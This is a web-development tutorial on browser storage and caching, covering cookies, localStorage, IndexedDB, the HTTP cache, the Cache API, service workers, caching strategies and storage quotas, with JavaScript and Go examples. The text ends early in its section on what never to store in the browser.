Browser Storage & Caching

The 30-second version

You add a dark-mode switch. It works, until the user reloads the page and it's light again. You fix it with localStorage, and a month later someone asks why the login token is in there too, and why the app is blank when the train goes into a tunnel.

So far your app's data has probably lived in JavaScript variables (React state, for example). Those vanish on every reload. Everything in this topic is about the places that survive a reload, plus the caches that make a page load fast or work with no network at all.

Here is the most common first bug. Both lines try to remember a user's settings:

const prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", prefs);
localStorage.getItem("prefs"); // "[object Object]" — the object is gone

const prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", JSON.stringify(prefs));
JSON.parse(localStorage.getItem("prefs")); // { theme: "dark", fontSize: 16 }

localStorage only stores strings, so it turns your object into text with String(prefs), which is the useless "[object Object]". JSONJSONJavaScript Object Notation: a text format for data — {"id": 7, "tags": ["a"]}. Readable by humans and every language; the default body format for web APIs. turns the object into text that can be turned back. §04 shows this live, in your browser's real storage.

Along the way: what an origin is and why localhost:3000 can't see localhost:5173's data (§02), what a cookie costs on every request (§03), a real database in the browser (§05), what freezes the page and what doesn't (§06), how a request finds its answer in the caches (§07–§08), service workers and offline apps (§09–§10), how much you can store before the browser says no (§11), and what you must never put in browser storage (§12).

Primer: origins, waiting, and where to look

Three small ideas make the rest of this topic easy: whose data it is, when you get an answer, and where you can see it.

1. Every origin gets its own boxes

An originOrigin (web)The scheme + host + port of a web page, e.g. https://chat.example.com. Browsers send it in the Origin header on cross-origin requests, POSTs and WebSocket handshakes, so the server can tell which website the request came from. is the first part of a URL: scheme + host + port. For https://shop.example.com:443/cart?item=7, the origin is https://shop.example.com (443 is the default port for https, so it's usually left out). The path /cart and the query ?item=7 aren't part of it.

The browser keeps a separate set of boxes for every origin: its own localStorage, sessionStorage, IndexedDB and Cache API. Code from one origin can't read another origin's boxes. It's the storage side of the same-origin policySame-origin policyThe browser rule that a page from one origin (scheme + host name + port) can send requests to other origins but can't read their responses unless they allow it (that's CORS). It compares host names, not IP addresses..

Two results surprise people:

• Different ports are different origins. Your app on localhost:5173 and your API on localhost:3000 don't share localStorage. Nothing is broken; they're two different "sites" as far as storage is concerned.
• Cookies play by older rules. A cookie belongs to a host name (and optionally its parent domain), not to an origin, and it ignores the port. §03 covers cookies; CORS & CSRF covers origins versus sites in depth.

2. Some APIs answer now, some answer later

A synchronousSynchronous APIA function that does all its work before it returns, so the next line waits for it — like localStorage.getItem(). If the work is slow, the whole page waits. API does all its work before it returns. localStorage.getItem("theme") hands you the value right there, so the next line can use it. Easy to write, but if the work is slow, the whole page waits: no clicks, no scrolling, no animation.

An asynchronousAsynchronous APIA function that starts the work and returns at once; you get the result later through a callback, an event or a Promise — like IndexedDB or the Cache API. The page keeps running meanwhile. API starts the work and returns at once. You get the answer later, through an event, a CallbackCallbackA function you hand to some other code so it can call you back later — for example when a button is clicked or an order is paid. or a PromisePromiseAn object that stands for a value that isn't ready yet. Later it becomes either fulfilled (with a value) or rejected (with an error).. IndexedDB and the Cache API work this way; so does fetch.

const theme = localStorage.getItem("theme");      // synchronous: the value, right now
console.log(theme);                                // "dark"

const cache = await caches.open("pages");          // asynchronous: a Promise, awaited
const hit = await cache.match("/about");           // the page keeps running while we wait

If await is new to you, Async / Await explains it from scratch. The short version: await pauses this function until the answer arrives, while the browser keeps the rest of the page running.

3. Where to look: DevTools → Application

Every box in this topic is visible in DevToolsDevToolsThe developer tools built into browsers (F12): inspect elements, see network requests, profile performance, debug JavaScript, check accessibility.. In Chrome or Edge, open the Application panel (F12, then the Application tab):

• Storage lists Local storage, Session storage, IndexedDB, Cookies and Cache storage, per origin. You can read, edit and delete entries.
• Service workers shows registered workers, their state, and an "Update on reload" checkbox for development.
• Storage (the top item) has a usage chart and a Clear site data button that empties every box at once.

Firefox calls the same panel Storage; Safari has a Storage tab in Web Inspector.

Cookies: the badge you show at every door

The round trip

The server sets a cookie with a Set-Cookie header on any response. From then on, the browser adds a Cookie header to every request to that host: the HTML, every image, every script, every API call.

GET /prefs HTTP/1.1                       ← 1. first request: no cookie yet
Host: shop.example.com

HTTP/1.1 200 OK
Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax   ← 2. "please keep this"

GET /logo.png HTTP/1.1                    ← 3. every later request carries it
Host: shop.example.com
Cookie: theme=dark

HTTP itself has no memory between requests. Cookies are how a server recognises the same browser again, which is why every login system uses one (HTTP shows the message format; Authentication builds a login session on top).

Here's both sides in code. The server is Go (cookies are set by servers); the browser side is JavaScript:

package main

import (
	"fmt"
	"net/http"
)

func main() {
	http.HandleFunc("/prefs", func(w http.ResponseWriter, r *http.Request) {
		http.SetCookie(w, &http.Cookie{ // ← adds a Set-Cookie header to the response
			Name:     "theme",
			Value:    "dark",
			Path:     "/",
			MaxAge:   60 * 60 * 24 * 365, // one year, in seconds
			SameSite: http.SameSiteLaxMode,
		})
		fmt.Fprintln(w, "saved")
	})

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		c, err := r.Cookie("theme") // ← the browser sent it back in the Cookie header
		if err != nil {
			fmt.Fprintln(w, "no theme cookie yet")
			return
		}
		fmt.Fprintln(w, "theme is", c.Value)
	})

	http.ListenAndServe(":8080", nil)
}

Running the Go server and calling it with curl prints exactly what the browser would see: Set-Cookie: theme=dark; Path=/; Max-Age=31536000; SameSite=Lax, then theme is dark once the cookie is sent back.

The attributes, in plain words

Everything after the first ; is an instruction to the browser. None of it is ever sent back: the browser only returns name=value.

The last three are security flags. Authentication §03 explains what each one blocks, and CORS & CSRF explains SameSite in depth. This section stays with the storage side: size, lifetime and cost.

Try it: a real cookie jar

Three things to notice:

1. document.cookie only shows name=value pairs. You can't see a cookie's expiry, path or flags from JavaScript.
2. A cookie whose name plus value is over 4,096 bytes is dropped silently: no error, it just isn't there. (Measured in Chromium: 4,100 bytes ignored, 4,000 stored.) Browsers also cap the number per domain; Chromium allows 180.
3. Asking JavaScript for an HttpOnly cookie is ignored. Chromium drops the whole cookie. That's the point of the flag: only a server can create one.

What cookies cost

A worked example. Your analytics, A/B-testing and consent tools each set a cookie, and together they add up to 2 KB. A product page makes 80 requests to your domain (HTML, scripts, styles, 60 images, API calls). That's 80 × 2 KB = 160 KB uploaded per page view, just to repeat the same text. Uploads are often the slow direction on mobile networks.

HTTP/2 and HTTP/3 compress repeated headers, which softens this a lot on a single connection (HTTP §05). But the server still parses every cookie on every request, the first request on each connection carries them in full, and every cookie is one more thing an attacker can try to abuse. Keep cookies to the server's business: usually one session ID. Preferences the server never reads belong in localStorage (§04).

localStorage and sessionStorage

The whole API

Both objects have the same five methods. The calls are synchronousSynchronous APIA function that does all its work before it returns, so the next line waits for it — like localStorage.getItem(). If the work is slow, the whole page waits.: the value is there on the next line.

localStorage.setItem("theme", "dark");   // save (overwrites any old value)
localStorage.getItem("theme");           // "dark"
localStorage.getItem("nope");            // null — a missing key is null, not undefined
localStorage.removeItem("theme");        // delete one key
localStorage.clear();                    // delete EVERY key for this origin (careful)

That's it. No folders, no expiry dates, no querying. If you need "expires in a week", you store the date yourself next to the value and check it when you read.

Strings in, strings out

Web Storage converts whatever you give it to a string with String(value). Numbers survive as digits but come back as strings; objects turn into "[object Object]"; arrays into "1,2,3". So: JSON.stringify on the way in, JSON.parse on the way out.

Reading is where real apps crash. The key might be missing (null), or hold text written by an older version of your app, or have been edited by hand in DevTools. A safe helper:

export function loadJSON(key, fallback) {
  try {
    const text = localStorage.getItem(key);
    return text === null ? fallback : JSON.parse(text);   // ← missing key → fallback
  } catch {
    return fallback;   // corrupt JSON, or storage blocked (some privacy modes) → fallback
  }
}

export function saveJSON(key, value) {
  try {
    localStorage.setItem(key, JSON.stringify(value));
    return true;
  } catch {
    return false;      // full (QuotaExceededError) or blocked: the app keeps working without it
  }
}

In React, the usual place to read it is the lazy initial value of useState, so it's read once, not on every render:

const [prefs, setPrefs] = useState(() => loadJSON("prefs", { theme: "light" }));  // read once
useEffect(() => { saveJSON("prefs", prefs); }, [prefs]);                         // write on change

The function form useState(() => …) and the effect are explained in React Hooks. One warning if your components are also rendered on a server: there's no localStorage there. loadJSON catches the error and returns the fallback, so nothing crashes, but now the server renders "light" while the browser's first render reads "dark". That's a hydration mismatchHydration mismatchWhen the browser's first render produces different output from the server's HTML. For text and structure, React throws the server HTML away up to the nearest Suspense boundary (or the root) and renders it again in the browser.; §14's pitfall #3 and CSR, SSR & Hydration show the fix (read storage in an effect).

Try it

How long it lives, and who sees it

Duplicating a tab copies its sessionStorage into the new tab; most other ways of opening a new tab start with an empty one.

The limit is counted in characters (keys plus values), not bytes. Strictly, it counts UTF-16 code units: almost every character, including "é" and "中", counts as one, same as "a"; an emoji counts as two. The widget's "find the limit" button got 5,242,880 in Chromium, which is exactly 5 × 1024 × 1024. Firefox and Safari also allow about 5 MB per origin. Go over it and setItem throws a QuotaExceededError; Chromium's message is "Setting the value of 'q' exceeded the quota."

Keeping tabs in sync: the storage event

When one tab changes localStorage, the browser fires a storage eventstorage eventAn event the browser fires in every OTHER tab or frame of the same origin when localStorage changes. The tab that made the change doesn't get it. Lets tabs keep in sync. in every other page (tab or frame) of the same origin, but not in the page that made the change. Other frames inside the same tab do get it: that's what the framed "other document" in the widget is listening to.

window.addEventListener("storage", (event) => {
  if (event.key === "theme") applyTheme(event.newValue);  // another tab switched theme
  // event.oldValue = the previous value · event.newValue = null if the key was removed
});

So "log out in one tab, every tab logs out" or "switch theme everywhere" takes a few lines. For richer messages between tabs, §13 shows BroadcastChannelBroadcastChannelA browser API for sending messages between tabs, frames and workers of the same origin: new BroadcastChannel("name"), then postMessage() and an onmessage handler..

Where it falls short

• Synchronous means main-thread time. Every call blocks your JavaScript until it's done. Small values cost almost nothing; megabytes of JSON don't (§06 measures it).
• No service workers, no Web Workers. Neither the service workers of §09 nor Web WorkersWeb WorkerA background JavaScript thread in the browser. It can't touch the DOM but can do heavy work without freezing the main thread, talking to the page by messages. (background threads for heavy work) can use it at all. Use IndexedDB there.
• Anyone on the page can read it. That includes every third-party script and any injected one (§12). Never store tokens here.

IndexedDB: a real database in the browser

The pieces

If you've used a SQL database, most of this will feel familiar; if not, the right-hand column is all you need.

Records are JavaScript objects, copied with the structured cloneStructured cloneThe algorithm postMessage uses to copy a value to another thread or window: it deep-copies objects, arrays, Maps, Dates and more — but not functions or class instances' methods. algorithm, not with JSON. So a Date comes back as a Date, and you can store Map, Set, binary data such as BlobsBlobA chunk of raw binary data, such as an image or a file the user picked, that JavaScript can hold, store and send without reading it as text. A File is a Blob with a name. and Files directly. What can't be stored: functions, DOM elements, and anything that holds them. Instances of your own classes come back as plain objects: the data survives, the methods don't.

Step through it

The raw API is older than Promises, so it reports results through events on IDBRequestIDBRequestWhat most IndexedDB calls return instead of a result: an object that later fires success (with .result) or error. Older than Promises, which is why raw IndexedDB code looks event-based. objects. Here is one full run:

1const req = indexedDB.open("notes-app", 1);
2 
3req.onupgradeneeded = () => {
4  const db = req.result;
5  const notes = db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
6  notes.createIndex("byTag", "tag");
7};
8 
9req.onsuccess = () => {
10  const db = req.result;
11  const tx = db.transaction("notes", "readwrite");
12  tx.objectStore("notes").add({ text: "Buy milk", tag: "home", created: new Date() });
13  tx.oncomplete = () => console.log("saved");
14};

Two rules come out of that walk-through:

1. You can only change the structure in upgradeneeded. Creating stores and indexes happens there, triggered by opening with a higher version number. That's your migration hook (§13).
2. Transactions commit by themselves. As soon as your code returns to the event loopEvent loopThe loop inside every JS runtime that repeatedly picks the next piece of waiting work (a callback) and runs it to completion on the single main thread. and the transaction has no pending requests, it commits. There's no commit() you must remember to call.

Try it: a real database

Click both "+500" buttons and compare the times. Every transaction is a separate trip to the disk with its own "make sure it's saved" step, so 500 transactions are much slower than one transaction with 500 writes. In headless Chromium on the author's machine, one transaction took about 35 ms and 500 separate ones about 230 ms (median of 5 runs), and the gap grows on slower disks and phones. Batch your writes.

The trap: awaiting something else mid-transaction

Rule 2 has a sharp edge. If you await anything that isn't a request on the same transaction, the transaction runs out of work while you wait, and commits:

const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7");   // tx has nothing to do → commits
store.put(await res.json());               // 💥 TransactionInactiveError

const res = await fetch("/api/notes/7");   // network first
const note = await res.json();
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put(note);         // then a short transaction

Chromium's exact message: "TransactionInactiveError: Failed to execute 'put' on 'IDBObjectStore': The transaction has finished."

A small promise wrapper

Nobody wants to write onsuccess handlers forever. Two tiny helpers turn requests and transactions into promises, which makes the code read top to bottom:

// Turn an IDBRequest into a Promise of its result.
export const reqP = (r) => new Promise((resolve, reject) => {
  r.onsuccess = () => resolve(r.result);
  r.onerror = () => reject(r.error);
});
// Resolve when a transaction has been saved to disk.
export const done = (tx) => new Promise((resolve, reject) => {
  tx.oncomplete = () => resolve();
  tx.onerror = tx.onabort = () => reject(tx.error);
});

// Usage
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put({ id: 7, text: "Buy milk", tag: "home" });
await done(tx);                                                   // saved

const homeNotes = await reqP(
  db.transaction("notes").objectStore("notes").index("byTag").getAll("home")  // ← query by index
);

In real projects most teams use the small idb library, which does this wrapping for the whole API (await db.put("notes", note)), or a bigger layer such as Dexie when they want queries and live updates. Both are thin: everything in this section still applies underneath.

What freezes the page, and which box to choose

You'll read everywhere that "localStorage is synchronous, so it blocks; IndexedDB is async, so it doesn't." That's half right. Let's measure instead of guessing.

Freeze the page on purpose

The ball below is moved by JavaScript on the main thread, once per FrameFrameOne complete picture shown on the screen. Smooth motion is many frames per second, each slightly different, like the pages of a flip book.. The main thread is the one worker that runs your JavaScript and draws the page, so while it's busy with something else, the ball can't move. Each button saves or loads the same 10,000 notes (about 2.6 MB as JSON).

Here's what it measured on this page in headless Chromium on the author's machine (three runs each, so you see the spread). At 60 frames per second a frame lasts about 17 ms, so 17 ms means "nothing was missed" and 33 ms means one frame was skipped. The freeze column can't show less than one frame, which is why a 2 ms operation still reads 17 ms there.

What the numbers say

localStorage was fast here. Chromium keeps a copy of each origin's localStorage in memory, so 2.6 MB cost a frame or two. But every call still runs on the main thread from start to finish, the first access on a page may have to load the whole thing from disk, JSON.stringify and JSON.parse grow with the data, and a cheap phone is several times slower than this machine. Fine for small settings; risky as a database.

10,000 IndexedDB writes froze the page for up to 200 ms, a Long taskLong taskAny single piece of main-thread work that runs longer than 50 ms. While it runs, the page can't draw new frames or respond to clicks. users can feel. The disk work happened in the background, but each put() copies its object right away, on the main thread, with the structured clone algorithm (the Stepper in §05 showed this step). Ten thousand small copies add up.

One big write or a getAll() barely froze anything (a skipped frame at most), even though getAll() took a quarter of a second in total: the slow part happened in the background. So the useful rule is not "async is free" but: async takes waiting off the main thread; copying stays on it.

Which box for which data?

When in doubt, start with memory and the server. Add browser storage when you can name the benefit: survives a reload, works offline, or saves a request.

The HTTP cache, and the path a request takes

This topic covers the browser's side of it. The headers themselves (max-age, no-cache versus no-store, ETag, 304 Not Modified) are taught in HTTP §08 and, in depth, in Caching §09. You need only two of them here:

• Cache-ControlCache-ControlThe response header that tells browsers, CDNs and proxies whether and how long they may reuse a response: max-age=3600, no-cache, no-store, private…: max-age=31536000, immutable means "reuse this for a year without asking".
• Cache-Control: no-cache means "you may store it, but check with me before every use". The check is a small request; if nothing changed, the server answers 304 Not Modified with no body, and the stored copy is used.

The path of one request

When a page asks for a file, the browser tries several places in order and stops at the first one that can answer:

Click through the six situations in order; they tell a story:

1. First visit and Next day: the HTTP cache makes repeat visits fast: a fresh copy means no request at all.
2. index.html and Offline, no service worker: it does not make the app work offline: anything that needs checking, needs the network.
3. Offline, with a service worker: a Service workerService workerA script the browser runs in the background, separate from the page, that can intercept the page's network requests — the basis of offline support and push notifications. sits in front of the HTTP cache. It's the only layer your own code controls, which is why offline apps are built with one (§09).
4. Service worker calls fetch(): a service worker's own fetch() goes through the HTTP cache. So there can be two copies of a file: the one you stored and the one the browser stored.

The pattern every modern build uses

How can a file be cached for a whole year if you deploy every day? By never changing a file under the same name. Build tools like Vite put a hash of each file's contents into its name: a content-hashed file nameContent hashA fingerprint computed from data's contents (usually with a hash function like SHA-256) and used as its name or ID. Same contents → same hash, so it works for cache-busting file names like index-DbfMV5Es.js, and for storing identical file chunks only once. such as assets/index-3f9a1c.js. Change one character of code and the next build produces a different name.

So a deployed site has two kinds of files:

• Hashed assets (/assets/index-3f9a1c.js, CSS, images): cache forever. A new version is a new URL, so a stale copy can't be served by mistake.
• index.html: its name can't change (it's the address people type), and it's the file that points to the current hashed names. So it must be checked on every visit.

That's two lines of server config. In Go, serving a Vite build:

package main

import (
	"net/http"
	"strings"
)

func main() {
	files := http.FileServer(http.Dir("dist")) // the output of `vite build`

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if strings.HasPrefix(r.URL.Path, "/assets/") {
			// index-3f9a1c.js: a new build means a new name → safe to keep for a year
			w.Header().Set("Cache-Control", "public, max-age=31536000, immutable")
		} else {
			// index.html: its name never changes → keep it, but check before every use
			w.Header().Set("Cache-Control", "no-cache")
		}
		files.ServeHTTP(w, r)
	})

	http.ListenAndServe(":8080", nil)
}

Most hosts (Netlify, Vercel, Cloudflare Pages, S3 + a CDN) let you set the same two rules in a config file. Build Tools shows where the hashes come from; Web Performance shows what good caching does to load times.

The Cache API: responses you store yourself

It was designed for service workers (§09), but ordinary pages can use it too, as long as they're in a secure contextSecure contextA page loaded over HTTPS (or from localhost / 127.0.0.1 during development). Powerful features like service workers and the Cache API only work in secure contexts. (HTTPS, or localhost while developing).

The API in six calls

const cache = await caches.open("pages-v1");            // open (or create) a named cache

await cache.put("/about", response);                     // store a Response (e.g. from fetch) under a request
const hit = await cache.match("/about");                 // a Response, or undefined on a miss
await cache.add("/about");                               // fetch it AND store it (fails on 404/500)
const keys = await cache.keys();                         // every stored Request
await cache.delete("/about");                            // remove one entry
await caches.delete("pages-v1");                         // remove the whole cache

Everything returns a Promise, so it's all asynchronousAsynchronous APIA function that starts the work and returns at once; you get the result later through a callback, an event or a Promise — like IndexedDB or the Cache API. The page keeps running meanwhile.. Keys are requests, and only GET requests can be stored, so in practice the key is the URL. /products?page=1 and /products?page=2 are different entries, unless you pass { ignoreSearch: true } to match.

Try it

Two facts from the widget:

1. Headers don't matter. The fake server sends Cache-Control: max-age=0, which tells the HTTP cache not to reuse it. The Cache API stores it anyway and hands it back next week. Nothing in a Cache API cache ever expires by itself.
2. It's instant only because it skips the network. The match came back in a millisecond or two instead of 600 ms.

The one gotcha: a body can be read once

A Response body is a stream: once something reads it, it's used up. If you store a response and also want to return it, store a copy:

const res = await fetch(url);
await cache.put(url, res);   // the cache reads the body…
return res.json();           // 💥 TypeError: body stream already read

const res = await fetch(url);
await cache.put(url, res.clone());   // ← the cache gets its own copy
return res.json();                   // the original is still unread

Chromium's message for the left one: "Failed to execute 'text' on 'Response': body stream already read" (or 'json', whichever method you called).

You own the cleanup

Because nothing expires, every app that uses the Cache API needs a plan for old data:

• Put a version in the cache name ("shell-v3"), and delete every cache with a different name when a new version takes over (§09 does this in the service worker's activate step).
• Cap runtime caches. If you cache every image the user views, delete the oldest entries past, say, 100. cache.keys() returns them in the order they were added.
• cache.add and addAll reject on any non-OK response (a 404 throws "TypeError: Failed to execute 'add' on 'Cache': Request failed"), and addAll stores nothing if any one fails. That's useful for "all files or none" precaching, and a surprise if one file in the list is missing.

Service workers: a proxy you write

What it is, exactly

• A separate JavaScript file (/sw.js) that the browser downloads, installs and keeps registered for your origin, even when no page is open.
• Not part of any page. It has no DOM, no window, and no localStorage. It talks to storage through the Cache API and IndexedDB.
• Event-driven and disposable. The browser starts it when there's an event to handle (a request, a push message) and stops it when idle, often after about 30 seconds. Global variables don't survive: anything that must last goes in storage.
• Only in secure contexts (HTTPS, or localhost), because a script that can rewrite every response would be a gift to an attacker on an open Wi-Fi.

It controlsControlled pageA page whose requests go through a service worker. A page picks its service worker when it loads and keeps it until it's closed or reloaded. the pages inside its scopeService worker scopeThe URL path a service worker controls, e.g. /app/. Pages whose URL starts with the scope are controlled by it; their network requests go through its fetch handler.: by default, the folder the script was served from. /sw.js controls the whole site; /app/sw.js controls only /app/….

The code

The page registers it; the worker itself is three event handlers.

if ("serviceWorker" in navigator) {
  navigator.serviceWorker.register("/sw.js");   // returns a Promise; safe to call on every load
}

const CACHE = "shell-v1";
const SHELL = ["/", "/app.css", "/app.js"];

self.addEventListener("install", (event) => {             // once per new version
  event.waitUntil(caches.open(CACHE).then((c) => c.addAll(SHELL)));
});

self.addEventListener("activate", (event) => {            // this version takes over
  event.waitUntil(
    caches.keys().then((names) =>
      Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n))))
  );
});

self.addEventListener("fetch", (event) => {               // every request from a controlled page
  event.respondWith(
    caches.match(event.request).then((hit) => hit || fetch(event.request))  // ← cache, else network
  );
});

The install step is precachingPrecachingDownloading and storing a fixed list of files (the app shell) when a service worker installs, so they're available offline before the user ever needs them.: download the app shellApp shellThe minimum HTML, CSS and JavaScript needed to draw a web app's frame (header, navigation, empty layout) without any data. Cache it, and the app can start offline. (the HTML, CSS and JS needed to draw the app's frame) before the user needs it. From then on, the app can start without a network.

The lifecycle, step by step

The tricky part of service workers isn't the code; it's when a version is in charge. Step through a first visit and an update:

1// app.js (the page)
2navigator.serviceWorker.register("/sw.js");
3 
4// sw.js
5const CACHE = "shell-v1";
6self.addEventListener("install", (event) => {
7  event.waitUntil(caches.open(CACHE).then((c) => c.addAll(["/", "/app.css", "/app.js"])));
8});
9self.addEventListener("activate", (event) => {
10  event.waitUntil(caches.keys().then((names) =>
11    Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n)))));
12});
13self.addEventListener("fetch", (event) => {
14  event.respondWith(caches.match(event.request).then((hit) => hit || fetch(event.request)));
15});

The three surprises from that walk-through:

1. The first visit isn't controlled. A page picks its service worker when it loads. A new worker can call clients.claim() in activate to take over open pages immediately; only do that if your pages can cope with switching mid-session.
2. Updates wait. A new version installs next to the old one and becomes a waiting workerWaiting workerA newly installed version of a service worker that can't take over yet because pages controlled by the old version are still open. It activates when they're all closed, or when it calls skipWaiting(). until every tab using the old version is closed. A reload isn't enough.
3. skipWaiting() jumps the queue. Calling self.skipWaiting() in the new worker activates it right away, and open pages switch to it. Risky: a page loaded with v1's HTML may now ask v2 for files that v2 renamed. The common pattern is to show "A new version is available — Reload" and call skipWaiting() only when the user clicks.

Try it: a real service worker, safely sandboxed

Things to try in the demo, and what they show:

• Register v1, then fetch → "network", a fresh time. Go offline, fetch again → "cache (network failed)": the worker served its saved copy.
• Deploy v2 → v2 appears under waiting, and the framed page still shows v1. Reload sandbox page (a real location.reload()): still v1, and v2 is still waiting. That's surprise 2, for real.
• Close & reopen sandbox → the only page v1 controlled is gone, so v2 activates and the new page shows v2's HTML. That's the "close every tab" path. To try the other path, click Unregister and start again.
• skipWaiting() → v2 becomes active. Fetch again: the answer now says "worker v2", even though the framed page's HTML still came from v1. Reload the sandbox page to get v2's HTML. That mismatch is why skipWaiting() needs care.

Updating in practice

The browser checks for a new sw.js whenever someone navigates to a page in its scope (and before some background events, if it hasn't checked in 24 hours). It downloads the script and compares it byte for byte with the installed one; any difference starts an install. Two habits make updates reliable:

• Serve sw.js itself with Cache-Control: no-cache. Modern browsers skip the HTTP cache when checking the worker script by default, but the files it imports with importScripts may still come from cache.
• Never cache-first your HTML without a way to update it. If index.html is served from a cache forever, users are stuck on that version of the app. §10 shows which strategy fits which file.

Caching strategies and offline

The four you'll use

• Cache-firstCache-firstA caching strategy: answer from the cache if there's a copy; only go to the network on a miss. Fastest, but can serve stale content forever unless the file names change.: answer from the cache if there's a copy; use the network only on a miss. Fastest, works offline, but never notices new content under the same URL.
• Network-firstNetwork-firstA caching strategy: try the network, store what comes back, and fall back to the cached copy only if the network fails (or is too slow). Fresh when online, still works offline.: try the network and save what comes back; use the cached copy only when the network fails. Fresh when online, works offline, but as slow as the network when it's slow.
• Stale-while-revalidateStale-while-revalidate (service-worker strategy)Answer every request immediately with the cached copy, if there is one, and at the same time fetch a fresh copy to store for next time. Unlike the HTTP header of the same name, there's no expiry time: the user is always at most one visit behind.: answer immediately with the cached copy, and at the same time fetch a fresh one to store for next time. Fast and always one version behind at most.
• Network-only: don't cache at all. For things that must be live or must not be replayed, like a payment.

Play with them. Deploy new content on the "server", switch the network to slow or offline, and see what the user gets and how long they wait:

Things worth trying: cache-first + deploy (the user is stuck on v1 forever), network-first + slow (every request waits 3 s even though a copy is sitting right there), stale-while-revalidate + deploy (the first request after a deploy is stale, the next is current).

Which file gets which

The code

Each strategy is a few lines. The fetch handler picks one by looking at the request:

// cache-first: hashed files that never change
async function cacheFirst(request) {
  const hit = await caches.match(request);
  if (hit) return hit;
  const res = await fetch(request);
  if (res.ok) await (await caches.open(ASSETS)).put(request, res.clone());
  return res;
}

// network-first: HTML, and data that should be fresh whenever possible
async function networkFirst(request) {
  try {
    const res = await fetch(request);
    if (res.ok) await (await caches.open(PAGES)).put(request, res.clone());
    return res;
  } catch {
    return (await caches.match(request)) ?? (await caches.match("/offline.html")) ?? Response.error();
  }
}

// stale-while-revalidate: answer with the saved copy now, refresh it for next time
async function staleWhileRevalidate(event) {
  const cache = await caches.open(RUNTIME);
  const hit = await cache.match(event.request);
  const refresh = fetch(event.request).then(async (res) => {
    if (res.ok) await cache.put(event.request, res.clone());
    return res;
  });
  event.waitUntil(refresh.catch(() => {}));   // ← keep the worker alive until the refresh is stored
  return hit ?? refresh;
}

self.addEventListener("fetch", (event) => {
  const { request } = event;
  const url = new URL(request.url);
  if (request.method !== "GET" || url.origin !== location.origin) return;  // not ours: normal network
  if (url.pathname.startsWith("/assets/")) event.respondWith(cacheFirst(request));
  else if (request.mode === "navigate") event.respondWith(networkFirst(request));
  else if (url.pathname.startsWith("/api/")) event.respondWith(staleWhileRevalidate(event));
});

We ran this worker in headless Chromium against a test server: assets came from the network once and then from the cache, /api/ returned the saved copy instantly and was one step behind after each refresh, and with the network switched off, a reload still showed the last page.

A network timeout is the common upgrade to network-first: race fetch against a 3-second timer and fall back to the cache if the timer wins, so a bad connection doesn't feel like a frozen app. And libraries such as Workbox package these strategies, precaching and cache expiry, so you write route rules instead of the functions above.

Offline is a feature, not an error

• Give navigation requests a fallback page (/offline.html, precached at install) instead of the browser's "No internet" screen.
• Don't trust navigator.onLine. true only means "connected to some network", not "the internet works" (a hotel Wi-Fi login page counts as online). Use it for hints in the UI; let failed requests tell you the truth.
• Writes need a queue. You can't serve a POST from a cache. An offline-firstOffline-firstDesigning an app so it reads and writes local storage first and syncs with the server when it can, instead of treating offline as an error. app saves the change locally and sends it later (§13's outbox).

Quotas, eviction and persistent storage

How much fits?

Ask the browser. navigator.storage.estimate() reports how much this origin uses and how much it may use, counting IndexedDB, the Cache API, service worker scripts and the origin private file systemOrigin private file system (OPFS)A private, sandboxed file system per site (navigator.storage.getDirectory()). Fast byte-level file access, often used to run SQLite in the browser. The user can't see these files.. The meter below runs it live in your browser:

const { usage, quota } = await navigator.storage.estimate();
console.log(`${(usage / 1e6).toFixed(1)} MB used of ${(quota / 1e9).toFixed(1)} GB`);

What we saw in headless Chromium: a 5 MB Blob in IndexedDB counted as about 5.3 MB, a 5 MB response in the Cache API as about 5.2 MB, and writing 1 MB to localStorage didn't change the number: localStorage and cookies have their own small limits (§03, §04) outside this quotaStorage quota (browser)The maximum amount of data one site may keep in the browser's quota-managed storage (IndexedDB, Cache API, service worker files and more). It depends on the browser and the free disk space; navigator.storage.estimate() reports it.. After deleting the cache, the reported usage stayed the same for a while: browsers clean up lazily.

The quota itself depends on the browser and the free disk space. At the time of writing, per MDN's "Storage quotas and eviction criteria" page:

These rules change between versions, so always ask estimate() rather than hard-coding a number. The answer is also deliberately approximate, so sites can't use exact disk numbers to recognise your device.

When the browser deletes it anyway

By default a site's storage is best-effort: the browser keeps it as long as it can, and deletes it when it must. EvictionEviction (browser storage)The browser deleting a site's stored data on its own, usually when the disk is nearly full. It removes a whole site's data at once, starting with sites used least recently. happens in a few situations:

• Storage pressure. When the disk gets nearly full, the browser frees space by deleting whole origins, starting with the ones used least recently (the LRULRU (least recently used)A cache policy: when the cache is full, throw away the entry nobody has used for the longest time. Keeps a cache at a fixed maximum size. idea). It doesn't delete half your database: all of this site's IndexedDB, caches and service workers go together, so your data is never left half-deleted.
• Safari's 7-day rule. Safari's Intelligent Tracking PreventionIntelligent Tracking Prevention (ITP)Safari's anti-tracking system. Among other rules, it can delete a site's script-written storage (localStorage, IndexedDB…) after several days in which the user didn't interact with that site. can delete all script-written storage (localStorage, IndexedDB, Cache API, service workers) for a site the user hasn't interacted with in the last seven days of using Safari. Web apps added to the Home Screen are exempt. If your users are on iPhones, assume a returning visitor may have nothing stored.
• Private windows. Storage works, often with a smaller quota, and everything is deleted when the window closes.
• The user, via "Clear browsing data" or DevTools. Always possible, never announced.

Asking for persistence

if (navigator.storage?.persist && !(await navigator.storage.persisted())) {
  const granted = await navigator.storage.persist();   // true = won't be evicted automatically
}

With persistent storagePersistent storageA site's storage that the browser promises not to evict automatically (only the user can clear it). Requested with navigator.storage.persist(); the default is best-effort. granted, the browser won't evict the site under storage pressure; only the user can clear it. How it's granted differs: Chromium decides silently (sites the user visits a lot, has installed or bookmarked, or allowed to send notifications), Firefox shows a permission prompt, and Safari decides on its own heuristics. Ask at a meaningful moment, like "Make these notes available offline", not on first page load.

What never to store in the browser

Four facts that decide what's safe

1. The user controls it. DevTools edits localStorage, IndexedDB and non-HttpOnly cookies in two clicks.
